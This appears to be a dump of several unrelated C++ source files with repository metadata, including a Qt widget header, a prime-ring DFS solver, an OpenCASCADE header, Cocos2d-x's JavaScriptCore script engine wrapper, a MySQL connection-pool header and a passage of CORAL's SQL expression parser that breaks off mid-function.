REQUIRE(l2.has_value());
REQUIRE(l2.value() == pos[1]);
REQUIRE(l3.has_value());
REQUIRE(l3.value() == pos[0]);
REQUIRE_FALSE(l4.has_value());
} | [
"jprotopopov1122@gmail.com"
] | jprotopopov1122@gmail.com |
fc4c3da6ce0b4b8ad72d844ef94367c9cfdb3a8f | 80dd8e4bba786b45273435eec3ebaafcfdc7bc08 | /WeighSensor/dizhi.h | 52bc7f69fde409cadb851b3804aeef88d2b63916 | [] | no_license | xsw258x2s5w8/WeightSensor | f1dafa7cc3f7108cc806c06ae0a95aa529b12d3b | fa2ffaa6a17c4787dea221daf728a47600621fed | refs/heads/master | 2020-12-14T08:52:23.826858 | 2017-08-11T13:57:39 | 2017-08-11T13:57:39 | 95,522,717 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 548 | h | #ifndef DIZHI_H
#define DIZHI_H
#include <QWidget>
namespace Ui {
class Dizhi;
}
class Dizhi : public QWidget
{
Q_OBJECT
public:
explicit Dizhi(QWidget *parent = 0);
~Dizhi();
private:
Ui::Dizhi *ui;
public slots:
void returnIndex();//主页
void returnPage();//返回上一页
void showSingleAddress();//单个设置界面
void showAddressW();//进入按地址组秤页面
void showautoNetwork();//进入自动组网界面
void showNumber();//进入数量与协议界面
};
#endif // DIZHI_H
| [
"928988843@qq.com"
] | 928988843@qq.com |
6f3b15b031dc82d996e492c7217fae05edba5a02 | b71556aee4654b48e91ba8124a3a8ded26de273e | /contest/41/D.cpp | 747b7653af4aa337ad438d65ad88dd02e70fbb5e | [] | no_license | young-zy/algorithm | 0255a327390c6b149870b34fbd34816dc002e82e | 536eddd9a6bc03e81c566afa05c53f555eb14a86 | refs/heads/master | 2021-07-23T07:23:29.929221 | 2020-04-23T16:33:28 | 2020-04-23T16:33:28 | 149,439,464 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,506 | cpp | #include<bits/stdc++.h>
using namespace std;
int a[10] = {2,4,6,8,10,12,14,16,18};
int b[10] = {3,5,7,9,11,13,15,17,19};
int n;
int isPrime(int a){
if(a == 2 || a == 3){
return 1;
}else if(a < 2 || a % 2 == 0){
return 0;
}else{
for(int i = 3; i<= sqrt(a); i+=2){
if(a % i == 0){
return 0;
}
}
return 1;
}
}
int dfs(int flaga[],int flagb[],int depth,int res[]){
if(depth == n){
if(isPrime(res[0]+res[n-1])){
for(int i = 0 ; i< n ; i ++){
if(i != 0){
cout<<" ";
}
cout<<res[i];
}
cout<<endl;
}
}else if(depth % 2){
for(int i = 0; i< n/2;i++){
if(flaga[i] == 0 && isPrime(res[depth-1] + a[i])){
flaga[i] = 1;
res[depth] = a[i];
dfs(flaga,flagb,depth+1,res);
flaga[i] = 0;
}
}
}else{
for(int i = 0; i< n/2-1;i++){
if(flagb[i] == 0 && isPrime(res[depth-1] + b[i])){
flagb[i] = 1;
res[depth] = b[i];
dfs(flaga,flagb,depth+1,res);
flagb[i] = 0;
}
}
}
}
int main(){
cin>>n;
if(n % 2){
cout<<"No";
return 0;
}
int flaga[10] = {0};
int flagb[10] = {0};
int res[20] = {0};
res[0] = 1;
dfs(flaga,flagb,1,res);
return 0;
} | [
"youngzhaozhou@gmail.com"
] | youngzhaozhou@gmail.com |
3c08f3c16b494129ba8671740e3cf98eff6909d2 | ad19cdca1487a2e4d9e8fa3540bf7a79b4b5d5c1 | /src/treeroute.cpp | 4cd4f83bb4322ecb7296ffe6fc7607dbded2194d | [
"Unlicense"
] | permissive | Deakean/treeRoute | 5ce92d2bf641482f05976a9b7cbef8570322114e | fe288253c072cb0f4890071312fdc4575bd556b1 | refs/heads/master | 2021-01-22T14:25:17.883598 | 2016-09-22T18:08:23 | 2016-09-22T18:08:23 | 68,282,547 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 24 | cpp | #include "treeroute.h"
| [
"Deakins1988@gmail.com"
] | Deakins1988@gmail.com |
cc938c813576fe03cee41edc2df6f88f34c557ef | abff3f461cd7d740cfc1e675b23616ee638e3f1e | /opencascade/IGESGraph.hxx | c3276ab98917f59c2d1a1805cff4efec9fec096c | [
"Apache-2.0"
] | permissive | CadQuery/pywrap | 4f93a4191d3f033f67e1fc209038fc7f89d53a15 | f3bcde70fd66a2d884fa60a7a9d9f6aa7c3b6e16 | refs/heads/master | 2023-04-27T04:49:58.222609 | 2023-02-10T07:56:06 | 2023-02-10T07:56:06 | 146,502,084 | 22 | 25 | Apache-2.0 | 2023-05-01T12:14:52 | 2018-08-28T20:18:59 | C++ | UTF-8 | C++ | false | false | 3,788 | hxx | // Created on: 1993-01-11
// Created by: CKY / Contract Toubro-Larsen (TCD)
// Copyright (c) 1993-1999 Matra Datavision
// Copyright (c) 1999-2014 OPEN CASCADE SAS
//
// This file is part of Open CASCADE Technology software library.
//
// This library is free software; you can redistribute it and/or modify it under
// the terms of the GNU Lesser General Public License version 2.1 as published
// by the Free Software Foundation, with special exception defined in the file
// OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT
// distribution for complete text of the license and disclaimer of any warranty.
//
// Alternatively, this file may be used under the terms of Open CASCADE
// commercial license or contractual agreement.
#ifndef _IGESGraph_HeaderFile
#define _IGESGraph_HeaderFile
#include <Standard.hxx>
#include <Standard_DefineAlloc.hxx>
#include <Standard_Handle.hxx>
class IGESGraph_Protocol;
class IGESGraph_LineFontDefTemplate;
class IGESGraph_LineFontDefPattern;
class IGESGraph_TextFontDef;
class IGESGraph_TextDisplayTemplate;
class IGESGraph_Color;
class IGESGraph_DefinitionLevel;
class IGESGraph_NominalSize;
class IGESGraph_DrawingSize;
class IGESGraph_DrawingUnits;
class IGESGraph_IntercharacterSpacing;
class IGESGraph_LineFontPredefined;
class IGESGraph_HighLight;
class IGESGraph_Pick;
class IGESGraph_UniformRectGrid;
class IGESGraph_ToolLineFontDefTemplate;
class IGESGraph_ToolLineFontDefPattern;
class IGESGraph_ToolTextFontDef;
class IGESGraph_ToolTextDisplayTemplate;
class IGESGraph_ToolColor;
class IGESGraph_ToolDefinitionLevel;
class IGESGraph_ToolNominalSize;
class IGESGraph_ToolDrawingSize;
class IGESGraph_ToolDrawingUnits;
class IGESGraph_ToolIntercharacterSpacing;
class IGESGraph_ToolLineFontPredefined;
class IGESGraph_ToolHighLight;
class IGESGraph_ToolPick;
class IGESGraph_ToolUniformRectGrid;
class IGESGraph_Protocol;
class IGESGraph_ReadWriteModule;
class IGESGraph_GeneralModule;
class IGESGraph_SpecificModule;
//! This package contains the group of classes necessary
//! to define Graphic data among Structure Entities.
//! (e.g., Fonts, Colors, Screen management ...)
class IGESGraph
{
public:
DEFINE_STANDARD_ALLOC
//! Prepares dynamic data (Protocol, Modules) for this package
Standard_EXPORT static void Init();
//! Returns the Protocol for this Package
Standard_EXPORT static Handle(IGESGraph_Protocol) Protocol();
protected:
private:
friend class IGESGraph_LineFontDefTemplate;
friend class IGESGraph_LineFontDefPattern;
friend class IGESGraph_TextFontDef;
friend class IGESGraph_TextDisplayTemplate;
friend class IGESGraph_Color;
friend class IGESGraph_DefinitionLevel;
friend class IGESGraph_NominalSize;
friend class IGESGraph_DrawingSize;
friend class IGESGraph_DrawingUnits;
friend class IGESGraph_IntercharacterSpacing;
friend class IGESGraph_LineFontPredefined;
friend class IGESGraph_HighLight;
friend class IGESGraph_Pick;
friend class IGESGraph_UniformRectGrid;
friend class IGESGraph_ToolLineFontDefTemplate;
friend class IGESGraph_ToolLineFontDefPattern;
friend class IGESGraph_ToolTextFontDef;
friend class IGESGraph_ToolTextDisplayTemplate;
friend class IGESGraph_ToolColor;
friend class IGESGraph_ToolDefinitionLevel;
friend class IGESGraph_ToolNominalSize;
friend class IGESGraph_ToolDrawingSize;
friend class IGESGraph_ToolDrawingUnits;
friend class IGESGraph_ToolIntercharacterSpacing;
friend class IGESGraph_ToolLineFontPredefined;
friend class IGESGraph_ToolHighLight;
friend class IGESGraph_ToolPick;
friend class IGESGraph_ToolUniformRectGrid;
friend class IGESGraph_Protocol;
friend class IGESGraph_ReadWriteModule;
friend class IGESGraph_GeneralModule;
friend class IGESGraph_SpecificModule;
};
#endif // _IGESGraph_HeaderFile
| [
"adam.jan.urbanczyk@gmail.com"
] | adam.jan.urbanczyk@gmail.com |
e1f231dbf78b816eda3880f59319abf11e4f87be | ead1807fd97bc4ddff17988f572b4bccac04011d | /project/build/jsb-default/frameworks/cocos2d-x/cocos/scripting/js-bindings/jswrapper/jsc/ScriptEngine.cpp | 58bf0fb6fdc24e68814d9e42d8e930b833cf1aa2 | [
"MIT"
] | permissive | bbx0331/Luke | e1e6cdcc9c30ee3c52d00987e498fbc899a81dac | 5dba7de93fa7fec66359a16882a7e90e7dcc6660 | refs/heads/master | 2021-01-25T12:49:31.962384 | 2018-08-01T15:45:00 | 2018-08-01T15:45:00 | 123,515,910 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 21,222 | cpp | /****************************************************************************
Copyright (c) 2016 Chukong Technologies Inc.
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#include "ScriptEngine.hpp"
#if SCRIPT_ENGINE_TYPE == SCRIPT_ENGINE_JSC
#include "Object.hpp"
#include "Class.hpp"
#include "Utils.hpp"
#include "../State.hpp"
#include "../MappingUtils.hpp"
#if SE_DEBUG > 0
extern "C" JS_EXPORT void JSSynchronousGarbageCollectForDebugging(JSContextRef);
#endif
namespace se {
AutoHandleScope::AutoHandleScope()
{
}
AutoHandleScope::~AutoHandleScope()
{
}
Class* __jsb_CCPrivateData_class = nullptr;
//
namespace {
ScriptEngine* __instance = nullptr;
JSValueRef __forceGC(JSContextRef ctx, JSObjectRef function, JSObjectRef thisObject,
size_t argumentCount, const JSValueRef arguments[], JSValueRef* exception)
{
if (__instance != nullptr)
{
__instance->garbageCollect();
}
return JSValueMakeUndefined(ctx);
}
JSValueRef __log(JSContextRef ctx, JSObjectRef function, JSObjectRef thisObject,
size_t argumentCount, const JSValueRef arguments[], JSValueRef* exception)
{
if (argumentCount > 0)
{
std::string ret;
internal::forceConvertJsValueToStdString(ctx, arguments[0], &ret);
SE_LOGD("JS: %s\n", ret.c_str());
}
return JSValueMakeUndefined(ctx);
}
JSObjectRef privateDataContructor(JSContextRef ctx, JSObjectRef constructor, size_t argumentCount, const JSValueRef arguments[], JSValueRef* exception)
{
return nullptr;
}
void privateDataFinalize(JSObjectRef obj)
{
internal::PrivateData* p = (internal::PrivateData*)JSObjectGetPrivate(obj);
JSObjectSetPrivate(obj, p->data);
if (p->finalizeCb != nullptr)
p->finalizeCb(obj);
free(p);
}
Value __consoleVal;
Value __oldConsoleLog;
Value __oldConsoleDebug;
Value __oldConsoleInfo;
Value __oldConsoleWarn;
Value __oldConsoleError;
Value __oldConsoleAssert;
bool JSB_console_format_log(State& s, const char* prefix, int msgIndex = 0)
{
if (msgIndex < 0)
return false;
const auto& args = s.args();
int argc = (int)args.size();
if ((argc - msgIndex) == 1)
{
std::string msg = args[msgIndex].toStringForce();
SE_LOGD("JS: %s%s\n", prefix, msg.c_str());
}
else if (argc > 1)
{
std::string msg = args[msgIndex].toStringForce();
size_t pos;
for (int i = (msgIndex+1); i < argc; ++i)
{
pos = msg.find("%");
if (pos != std::string::npos && pos != (msg.length()-1) && (msg[pos+1] == 'd' || msg[pos+1] == 's' || msg[pos+1] == 'f'))
{
msg.replace(pos, 2, args[i].toStringForce());
}
else
{
msg += " " + args[i].toStringForce();
}
}
SE_LOGD("JS: %s%s\n", prefix, msg.c_str());
}
return true;
}
bool JSB_console_log(State& s)
{
JSB_console_format_log(s, "");
__oldConsoleLog.toObject()->call(s.args(), __consoleVal.toObject());
return true;
}
SE_BIND_FUNC(JSB_console_log)
bool JSB_console_debug(State& s)
{
JSB_console_format_log(s, "[DEBUG]: ");
__oldConsoleDebug.toObject()->call(s.args(), __consoleVal.toObject());
return true;
}
SE_BIND_FUNC(JSB_console_debug)
bool JSB_console_info(State& s)
{
JSB_console_format_log(s, "[INFO]: ");
__oldConsoleInfo.toObject()->call(s.args(), __consoleVal.toObject());
return true;
}
SE_BIND_FUNC(JSB_console_info)
bool JSB_console_warn(State& s)
{
JSB_console_format_log(s, "[WARN]: ");
__oldConsoleWarn.toObject()->call(s.args(), __consoleVal.toObject());
return true;
}
SE_BIND_FUNC(JSB_console_warn)
bool JSB_console_error(State& s)
{
JSB_console_format_log(s, "[ERROR]: ");
__oldConsoleError.toObject()->call(s.args(), __consoleVal.toObject());
return true;
}
SE_BIND_FUNC(JSB_console_error)
bool JSB_console_assert(State& s)
{
const auto& args = s.args();
if (!args.empty())
{
if (args[0].isBoolean() && !args[0].toBoolean())
{
JSB_console_format_log(s, "[ASSERT]: ", 1);
__oldConsoleAssert.toObject()->call(s.args(), __consoleVal.toObject());
}
}
return true;
}
SE_BIND_FUNC(JSB_console_assert)
}
ScriptEngine *ScriptEngine::getInstance()
{
if (__instance == nullptr)
{
__instance = new ScriptEngine();
}
return __instance;
}
void ScriptEngine::destroyInstance()
{
delete __instance;
__instance = nullptr;
}
ScriptEngine::ScriptEngine()
: _cx(nullptr)
, _globalObj(nullptr)
, _exceptionCallback(nullptr)
, _vmId(0)
, _isGarbageCollecting(false)
, _isValid(false)
, _isInCleanup(false)
, _isErrorHandleWorking(false)
, _isDebuggerEnabled(false)
{
}
bool ScriptEngine::init()
{
cleanup();
SE_LOGD("Initializing JavaScriptCore \n");
++_vmId;
for (const auto& hook : _beforeInitHookArray)
{
hook();
}
_beforeInitHookArray.clear();
_cx = JSGlobalContextCreate(nullptr);
if (nullptr == _cx)
return false;
JSStringRef ctxName = JSStringCreateWithUTF8CString("Cocos2d-x JSB");
JSGlobalContextSetName(_cx, ctxName);
JSStringRelease(ctxName);
NativePtrToObjectMap::init();
NonRefNativePtrCreatedByCtorMap::init();
internal::setContext(_cx);
Class::setContext(_cx);
Object::setContext(_cx);
JSObjectRef globalObj = JSContextGetGlobalObject(_cx);
if (nullptr == globalObj)
return false;
_globalObj = Object::_createJSObject(nullptr, globalObj);
_globalObj->root();
_globalObj->setProperty("window", Value(_globalObj));
if (_globalObj->getProperty("console", &__consoleVal) && __consoleVal.isObject())
{
__consoleVal.toObject()->getProperty("log", &__oldConsoleLog);
__consoleVal.toObject()->defineFunction("log", _SE(JSB_console_log));
__consoleVal.toObject()->getProperty("debug", &__oldConsoleDebug);
__consoleVal.toObject()->defineFunction("debug", _SE(JSB_console_debug));
__consoleVal.toObject()->getProperty("info", &__oldConsoleInfo);
__consoleVal.toObject()->defineFunction("info", _SE(JSB_console_info));
__consoleVal.toObject()->getProperty("warn", &__oldConsoleWarn);
__consoleVal.toObject()->defineFunction("warn", _SE(JSB_console_warn));
__consoleVal.toObject()->getProperty("error", &__oldConsoleError);
__consoleVal.toObject()->defineFunction("error", _SE(JSB_console_error));
__consoleVal.toObject()->getProperty("assert", &__oldConsoleAssert);
__consoleVal.toObject()->defineFunction("assert", _SE(JSB_console_assert));
}
_globalObj->setProperty("scriptEngineType", Value("JavaScriptCore"));
JSStringRef propertyName = JSStringCreateWithUTF8CString("log");
JSObjectSetProperty(_cx, globalObj, propertyName, JSObjectMakeFunctionWithCallback(_cx, propertyName, __log), kJSPropertyAttributeReadOnly, nullptr);
JSStringRelease(propertyName);
propertyName = JSStringCreateWithUTF8CString("forceGC");
JSObjectSetProperty(_cx, globalObj, propertyName, JSObjectMakeFunctionWithCallback(_cx, propertyName, __forceGC), kJSPropertyAttributeReadOnly, nullptr);
JSStringRelease(propertyName);
__jsb_CCPrivateData_class = Class::create("__CCPrivateData", _globalObj, nullptr, privateDataContructor);
__jsb_CCPrivateData_class->defineFinalizeFunction(privateDataFinalize);
__jsb_CCPrivateData_class->install();
_isValid = true;
for (const auto& hook : _afterInitHookArray)
{
hook();
}
_afterInitHookArray.clear();
return true;
}
ScriptEngine::~ScriptEngine()
{
cleanup();
}
void ScriptEngine::cleanup()
{
if (!_isValid)
return;
SE_LOGD("ScriptEngine::cleanup begin ...\n");
_isInCleanup = true;
for (const auto& hook : _beforeCleanupHookArray)
{
hook();
}
_beforeCleanupHookArray.clear();
SAFE_DEC_REF(_globalObj);
Object::cleanup();
Class::cleanup();
garbageCollect();
__consoleVal.setUndefined();
__oldConsoleLog.setUndefined();
__oldConsoleDebug.setUndefined();
__oldConsoleInfo.setUndefined();
__oldConsoleWarn.setUndefined();
__oldConsoleError.setUndefined();
__oldConsoleAssert.setUndefined();
JSGlobalContextRelease(_cx);
_cx = nullptr;
_globalObj = nullptr;
_isValid = false;
_registerCallbackArray.clear();
for (const auto& hook : _afterCleanupHookArray)
{
hook();
}
_afterCleanupHookArray.clear();
_isInCleanup = false;
NativePtrToObjectMap::destroy();
NonRefNativePtrCreatedByCtorMap::destroy();
SE_LOGD("ScriptEngine::cleanup end ...\n");
}
ScriptEngine::ExceptionInfo ScriptEngine::_formatException(JSValueRef exception)
{
ExceptionInfo ret;
// Ignore Exception in forceConvertJsValueToStdString invocation to avoid infinite loop.
internal::forceConvertJsValueToStdString(_cx, exception, &ret.message, true);
JSType type = JSValueGetType(_cx, exception);
if (type == kJSTypeObject)
{
JSObjectRef obj = JSValueToObject(_cx, exception, nullptr);
JSStringRef stackKey = JSStringCreateWithUTF8CString("stack");
JSValueRef stackVal = JSObjectGetProperty(_cx, obj, stackKey, nullptr);
if (stackKey != nullptr)
{
type = JSValueGetType(_cx, stackVal);
if (type == kJSTypeString)
{
JSStringRef stackStr = JSValueToStringCopy(_cx, stackVal, nullptr);
internal::jsStringToStdString(_cx, stackStr, &ret.stack);
JSStringRelease(stackStr);
}
JSStringRelease(stackKey);
}
std::string line;
std::string column;
std::string filePath;
JSPropertyNameArrayRef nameArr = JSObjectCopyPropertyNames(_cx, obj);
size_t count =JSPropertyNameArrayGetCount(nameArr);
for (size_t i = 0; i < count; ++i)
{
JSStringRef jsName = JSPropertyNameArrayGetNameAtIndex(nameArr, i);
JSValueRef jsValue = JSObjectGetProperty(_cx, obj, jsName, nullptr);
std::string name;
internal::jsStringToStdString(_cx, jsName, &name);
std::string value;
JSStringRef jsstr = JSValueToStringCopy(_cx, jsValue, nullptr);
internal::jsStringToStdString(_cx, jsstr, &value);
JSStringRelease(jsstr);
if (name == "line")
{
line = value;
ret.lineno = (uint32_t)JSValueToNumber(_cx, jsValue, nullptr);
}
else if (name == "column")
{
column = value;
}
else if (name == "sourceURL")
{
filePath = value;
ret.filePath = value;
}
}
ret.location = filePath + ":" + line + ":" + column;
JSPropertyNameArrayRelease(nameArr);
}
return ret;
}
void ScriptEngine::_clearException(JSValueRef exception)
{
if (exception != nullptr)
{
ExceptionInfo exceptionInfo = _formatException(exception);
if (exceptionInfo.isValid())
{
std::string exceptionStr = exceptionInfo.message;
exceptionStr += ", location: " + exceptionInfo.location;
if (!exceptionInfo.stack.empty())
{
exceptionStr += "\nSTACK:\n" + exceptionInfo.stack;
}
SE_LOGD("ERROR: %s\n", exceptionStr.c_str());
if (_exceptionCallback != nullptr)
{
_exceptionCallback(exceptionInfo.location.c_str(), exceptionInfo.message.c_str(), exceptionInfo.stack.c_str());
}
if (!_isErrorHandleWorking)
{
_isErrorHandleWorking = true;
Value errorHandler;
if (_globalObj->getProperty("__errorHandler", &errorHandler) && errorHandler.isObject() && errorHandler.toObject()->isFunction())
{
ValueArray args;
args.push_back(Value(exceptionInfo.filePath));
args.push_back(Value(exceptionInfo.lineno));
args.push_back(Value(exceptionInfo.message));
args.push_back(Value(exceptionInfo.stack));
errorHandler.toObject()->call(args, _globalObj);
}
_isErrorHandleWorking = false;
}
else
{
SE_LOGE("ERROR: __errorHandler has exception\n");
}
}
}
}
void ScriptEngine::setExceptionCallback(const ExceptionCallback& cb)
{
_exceptionCallback = cb;
}
bool ScriptEngine::isGarbageCollecting()
{
return _isGarbageCollecting;
}
void ScriptEngine::_setGarbageCollecting(bool isGarbageCollecting)
{
_isGarbageCollecting = isGarbageCollecting;
}
Object* ScriptEngine::getGlobalObject()
{
return _globalObj;
}
void ScriptEngine::addBeforeInitHook(const std::function<void()>& hook)
{
_beforeInitHookArray.push_back(hook);
}
void ScriptEngine::addAfterInitHook(const std::function<void()>& hook)
{
_afterInitHookArray.push_back(hook);
}
void ScriptEngine::addBeforeCleanupHook(const std::function<void()>& hook)
{
_beforeCleanupHookArray.push_back(hook);
}
void ScriptEngine::addAfterCleanupHook(const std::function<void()>& hook)
{
_afterCleanupHookArray.push_back(hook);
}
void ScriptEngine::addRegisterCallback(RegisterCallback cb)
{
assert(std::find(_registerCallbackArray.begin(), _registerCallbackArray.end(), cb) == _registerCallbackArray.end());
_registerCallbackArray.push_back(cb);
}
bool ScriptEngine::start()
{
if (!init())
return false;
bool ok = false;
_startTime = std::chrono::steady_clock::now();
for (auto cb : _registerCallbackArray)
{
ok = cb(_globalObj);
assert(ok);
if (!ok)
break;
}
// After ScriptEngine is started, _registerCallbackArray isn't needed. Therefore, clear it here.
_registerCallbackArray.clear();
return ok;
}
void ScriptEngine::garbageCollect()
{
// JSSynchronousGarbageCollectForDebugging is private API in JavaScriptCore framework.
// AppStore will reject the apps reference non-public symbols.
// Therefore, we use JSSynchronousGarbageCollectForDebugging for easily debugging memory
// problems in debug mode, and use public API JSGarbageCollect in release mode to pass
// the AppStore's verify check.
#if SE_DEBUG > 0
SE_LOGD("GC begin ..., (Native -> JS map) count: %d\n", (int)NativePtrToObjectMap::size());
JSSynchronousGarbageCollectForDebugging(_cx);
SE_LOGD("GC end ..., (Native -> JS map) count: %d\n", (int)NativePtrToObjectMap::size());
#else
JSGarbageCollect(_cx);
#endif
}
bool ScriptEngine::evalString(const char* script, ssize_t length/* = -1 */, Value* ret/* = nullptr */, const char* fileName/* = nullptr */)
{
assert(script != nullptr);
if (length < 0)
length = strlen(script);
if (fileName == nullptr)
fileName = "(no filename)";
// Fix the source url is too long displayed in Safari debugger.
std::string sourceUrl = fileName;
static const std::string prefixKey = "/temp/quick-scripts/";
size_t prefixPos = sourceUrl.find(prefixKey);
if (prefixPos != std::string::npos)
{
sourceUrl = sourceUrl.substr(prefixPos + prefixKey.length());
}
std::string exceptionStr;
std::string scriptStr(script, length);
JSValueRef exception = nullptr;
JSStringRef jsSourceUrl = JSStringCreateWithUTF8CString(sourceUrl.c_str());
JSStringRef jsScript = JSStringCreateWithUTF8CString(scriptStr.c_str());
JSValueRef result = nullptr;
bool ok = JSCheckScriptSyntax(_cx, jsScript, jsSourceUrl, 1, &exception);;
if (ok)
{
result = JSEvaluateScript(_cx, jsScript, nullptr, jsSourceUrl, 1, &exception);
if (exception != nullptr)
{
ok = false;
}
}
else
{
if (exception == nullptr)
{
SE_LOGD("Unknown syntax error parsing file %s\n", fileName);
}
}
JSStringRelease(jsScript);
JSStringRelease(jsSourceUrl);
if (ok)
{
if (ret != nullptr)
internal::jsToSeValue(_cx, result, ret);
}
_clearException(exception);
return ok;
}
void ScriptEngine::setFileOperationDelegate(const FileOperationDelegate& delegate)
{
_fileOperationDelegate = delegate;
}
bool ScriptEngine::runScript(const std::string& path, Value* ret/* = nullptr */)
{
assert(!path.empty());
assert(_fileOperationDelegate.isValid());
std::string scriptBuffer = _fileOperationDelegate.onGetStringFromFile(path);
if (!scriptBuffer.empty())
{
return evalString(scriptBuffer.c_str(), scriptBuffer.length(), ret, path.c_str());
}
SE_LOGE("ScriptEngine::runScript script %s, buffer is empty!\n", path.c_str());
return false;
}
void ScriptEngine::clearException()
{
//FIXME:
}
void ScriptEngine::enableDebugger(const std::string& serverAddr, uint32_t port)
{
// empty implementation
_isDebuggerEnabled = true;
}
bool ScriptEngine::isDebuggerEnabled() const
{
return _isDebuggerEnabled;
}
void ScriptEngine::mainLoopUpdate()
{
// empty implementation
}
} // namespace se {
#endif // #if SCRIPT_ENGINE_TYPE == SCRIPT_ENGINE_JSC
| [
"zhaonanyu@a-onesoft.com"
] | zhaonanyu@a-onesoft.com |
ba30704db19f84cceb1be3a24ebfbf5108a5d976 | bfc42c691375d32060866912c8cb1d2b360548ac | /base/DbConnectPool.h | d6505b895b750a9505ed5dac99b1df5ccebeb181 | [] | no_license | firechickrsx/imfire | 67ab1ef45bc318c48ef52908c7420280dc79bf28 | 82eda16c8ab34421e7ec4c4f7349bf2d1ba57c0c | refs/heads/master | 2020-12-24T18:33:01.770814 | 2017-08-17T02:33:24 | 2017-08-17T02:33:24 | 58,939,182 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 929 | h | #ifndef DBCONNECTPOOL_H
#define DBCONNECTPOOL_H
#include "mysql/mysql.h"
#include <string>
#include <list>
#include <memory>
#include <mutex>
using namespace std;
class DbConnect{
public:
int CreateConnect();
int CloseConnect();
uint32_t m_ip;
uint16_t m_port;
bool m_isConnected;
};
typedef shared_ptr<DbConnect> DbConnect_sp;
class DbConnectPool{
public:
//server 用于标示服务器的名称
//maxConnectCount 最大连接数
//preConnectCount 在调用AddServer时预先连接好多少个连接
//返回连接了多少个
int AddServer( string serverId ,unsigned ip ,unsigned short port , int maxConnectCount ,int preConnectCount );
int RemoveServer(string serverId);
DbConnect_sp GetFreeConnect();
DbConnectPool();
~DbConnectPool();
private:
mutex m_m_connectQueueMutex;
list< DbConnect_sp> m_connectList;
};
#endif //DBCONNECTPOOL_H
| [
"firechick@localhost.localdomain"
] | firechick@localhost.localdomain |
a8beeb9643d3195188b39056db717e390f13614b | 293902682d7ee13be81ada6c28ef6b840983ac33 | /CoralCommon/src/ExpressionParser.cpp | 3c885ce1a1dff796d72a46b5efd592bd9d815ca5 | [] | no_license | cms-externals/coral | d17cba45fff7f34d7a1ba13ab3bb371e0696c1af | a879b41c994fa956ff0ae78e3410bb409582ad20 | refs/heads/cms/CORAL_2_3_21py3 | 2022-02-26T18:51:25.258362 | 2022-02-23T13:19:11 | 2022-02-23T13:19:11 | 91,173,895 | 0 | 4 | null | 2022-02-14T13:20:11 | 2017-05-13T12:47:54 | C++ | UTF-8 | C++ | false | false | 4,675 | cpp | #include <sstream>
#include "CoralBase/Attribute.h"
#include "CoralBase/AttributeList.h"
#include "CoralBase/AttributeSpecification.h"
#include "CoralCommon/ExpressionParser.h"
#include "RelationalAccess/IColumn.h"
#include "RelationalAccess/ITableDescription.h"
using namespace coral::CoralCommon;
ExpressionParser::ExpressionParser()
: m_tablesAndColumns()
, m_tableAliases()
, m_bindVariables()
{
// EMPTY
}
ExpressionParser::~ExpressionParser()
{
// EMPTY
}
void
ExpressionParser::addToTableList( const coral::ITableDescription& description )
{
std::set< std::string>& variables = m_tablesAndColumns[description.name()];
int numberOfColumns = description.numberOfColumns();
for ( int i = 0; i < numberOfColumns; ++i )
{
variables.insert(description.columnDescription(i).name());
}
}
void
ExpressionParser::addToTableList( const std::string& table,
const std::vector<std::string>& outputVariables )
{
std::set< std::string>& variables = m_tablesAndColumns[table];
for ( std::vector<std::string>::const_iterator iVar = outputVariables.begin(); iVar != outputVariables.end(); ++iVar )
variables.insert(*iVar);
}
void
ExpressionParser::addToAliases( const std::string& alias )
{
if ( m_tableAliases.find(alias) == m_tableAliases.end() )
m_tableAliases.insert(alias);
}
void
ExpressionParser::appendToBindVariables( const coral::AttributeList& bindData )
{
for ( coral::AttributeList::const_iterator iBindVariable = bindData.begin(); iBindVariable != bindData.end(); ++iBindVariable )
{
m_bindVariables.insert(iBindVariable->specification().name());
}
}
std::string
ExpressionParser::parseExpression( const std::string& expression ) const
{
std::ostringstream os;
std::string lastWord = "";
bool withinQuotes = false;
std::string::size_type length = expression.size();
char previous = '\0';
for ( std::string::size_type iCharacter = 0; iCharacter < length; ++iCharacter )
{
char c = expression[iCharacter];
if (withinQuotes)
{
if (c == '\'')
withinQuotes = false;
os << c;
continue;
}
if (c == '\'')
{
os << this->decorateWord(lastWord, previous);
lastWord = "";
os << c;
withinQuotes = true;
continue;
}
if ( c == ' ' || c == '\t' || c == '\n' || c == '\r' || c == '`' ||
c == '~' || c == '!' || c == '@' || c == '%' || c == '^' ||
c == '&' || c == '*' || c == '(' || c == ')' || c == '-' ||
c == '+' || c == '=' || c == '[' || c == ']' || c == '{' ||
c == '}' || c == ';' || c == ':' || c == '"' || c == '\\' ||
c == '|' || c == '<' || c == '>' || c == ',' || c == '.' ||
c == '?' || c == '/' )
{
std::string finalWord = this->decorateWord(lastWord, previous);
os << finalWord;
lastWord = "";
os << c;
if ( finalWord.size() > 0 && finalWord[0] == '"' && previous == ':' )
previous = '\0';
else if ( finalWord.size() > 0 && finalWord[0] == '"' && previous == '.' )
previous = '\0';
else if ( c != ' ' && c != '\t' && c != '\n' && c != '\r' )
previous = c;
}
else
{
lastWord += c;
}
}
os << this->decorateWord(lastWord, previous);
return os.str();
}
std::string
ExpressionParser::decorateWord( const std::string& expression,
char previous ) const
{
if ( expression.empty() ) return "";
